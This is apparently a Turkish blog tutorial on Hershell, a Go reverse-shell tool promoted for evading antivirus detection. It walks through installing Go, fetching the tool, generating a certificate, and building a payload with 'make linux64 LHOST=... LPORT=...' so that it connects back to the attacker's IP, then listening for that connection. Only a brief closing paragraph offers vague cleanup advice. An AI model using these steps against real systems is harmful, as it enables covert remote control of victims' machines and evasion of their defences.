Hershell aracı Go dilinde kodlanmış basit bir TCP reverse shell saldırısı yapmaya yarayan araçtır. Bu araç sayesinde bir çok yetki kazanabiliriz. Meterpreterlar çok gelişmiş olsalar bile bazen antivirüs programları tarafından yakalanıyorlar. Bu programın amacı antivürüslere yakalanmayı en aza indirgemek ve birden fazla sistem üzerinde çalışabilen bir reverse shell elde etmekdir. Bu sayede tek bir sistem yerine birden fazla sistemde çalışan bir shell kodu yazılacak ve sistem farklılıklarından dolayı çalışmama gibi sorunlarda ortadan kalmış olacak açık kaynak kodlu ve go da yazıldığı için kaynağı istediğiniz gibi derleyebilirsiniz. Fakat bundan önce Shell nedir ona değinelim.

Shell Nedir ?

Shell yüklendiği sitede çeşitli yetkiler veren kod dizinleridir. Bunlar sayesinde kısıtlı yetkilerimizi genişleterek daha fazla yetkiler kazanabiliriz bunlar okuma yazma ve silme yetkileridir. Shell atma işlemleri iyi bilen kişiler tarafından yapılmalıdır eğer shell yazmak hakkında çok fazla bilgisi olmayan kişiler tarafından yazılırsa saldırganlar tarafından kullanılıp sisteminize zarar verilebilir. Şu anda farklı farklı programlama dilleriyle yazılmış olan çok fazla shell türü vardır fakat bunların neredeyse hepsi birbiriyle aynıdır. Reverse Shellin çalışma mantığı da normal shellden farklı olarak ters yönde çalışır. Serverdan kullanıcıya bilgi akışı oluyormuş gibi gözüktüğü için virüs programları tarafından algılanması çok daha zordur.

Hershell Aracı İndirme

Hershell aracı açık kaynak kodlu bir araç olduğu için github üzerinden indireceğiz fakat bu araç Go programlama dili tarafından yazıldığı için indirmek için Go yu kurmamız gerekecektir biz linux için nasıl indirileceğini anlatıcaz fakat başka işletim sistemine kurmak için burada  bulunan link üzerinden indirebilirsiniz. Go aracını indirmek için öncelikle burada ki link üzerinden linux tar dosyasını indireceğiz. indirdikten sonra dosyayı çıkarmak için aşağıda bulunan komutu verelim.

 tar -xzf go1.11.linux-386.tar.gz 

komutu verdikten sonra export komutu ile düzenleme işlemini gerçekleştirelim.

 export PATH=$PATH:/usr/local/go/bin 

Şimdi terminali açıp go komutunu girerek çalışıp çalışmadığını kontrol edebiliriz. Go kurulumumuzu gerçekleştirdikten sonra burada bulunan github linki üzerinden aracımızı indirelim aracımızı indirmek için şu komutu veriyoruz.

 go get github.com/sysdream/hershell 

kurulum işlemimizi böylelikle gerçekleştiriyoruz.

Hershell Aracındaki Payloadlar

GOOS : Hedef Sistem GOARCH : Hedef Mimarisi LHOST : Ip Adresiniz LPORT : Dinlenecek Port Burada sadece LHOST ve LPORT kısımlarını kendinize göre ayarlamanız yeterli olacaktır bulunan yerlere kendi ıp adresinizi ve çakışmayacak bir port girmeniz yeterli olacaktır.

Hershell Kullanımı

Öncelikle aşağıdaki şekilde bir sertfika oluşturuyoruz.

 $ make depends openssl req -subj '/CN=yourcn.com/O=YourOrg/C=FR' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout server.key -out server.pem Generating a 4096 bit RSA private key ....................................................................................++ .....++ writing new private key to 'server.key' ----- cat server.key >> server.pem 

Sertfika oluşturduktan sonra ayarları kendimize göre ayarlayabiliriz.

 make linux64 LHOST=Ip Adresi LPORT=Port Numarası 

Yukarıdaki komutları vererek ıp adresini ve port numarasını kendimize göre ayarlıyoruz ve bildisayarımız 32 bit destekliyor ise linux64 ü linux32 ile değiştirerek işlemimizi gerçekleştirebiliriz. İşlemlerimizi tamamladıktan sonra istediğiniz bir araçla server dosyasını dinlemeye alabilir ve bu sayede shell kodlarınızı yükleyerek çalıştırabilirsiniz. Bu program sayesinde Reverse Shell saldırıları çok daha kolay ve hızlı bir şekilde gerçekleşiyor fakat oluşturulan shell kodlarında bazen hatalar meydana gelebiliyor yada çok basit bir şekilde gerçekleştirdiği için işinize yaramayabiliyor. Bu yüzden sadece ufak çaplı işler için kullanılmasını öneririz.

Shel Nasıl Temizlenir ?

Bir saldırgan tarafından shell yüklendiği zaman tüm yetkileri saldırganın eline vermiş bulunmaktayız bu yüzden temizlenmesi zor bir durumdur fakat yedek alarak tüm verilerinizi virüs taramasından geçirebilirsiniz. Tüm dosyalarınızı olabildiğince kontrol etmenizde gerekecektir çünkü saldırgan kodları en az kullanılan yerlere saklamakta özen gösterecektir. Saldırganın shell kodları ve saldırıları hakkında bilgisi varsa shell kodları temizlemek için tüm dosyaları ince ayrıntısına kadar aramanız gerekecektir.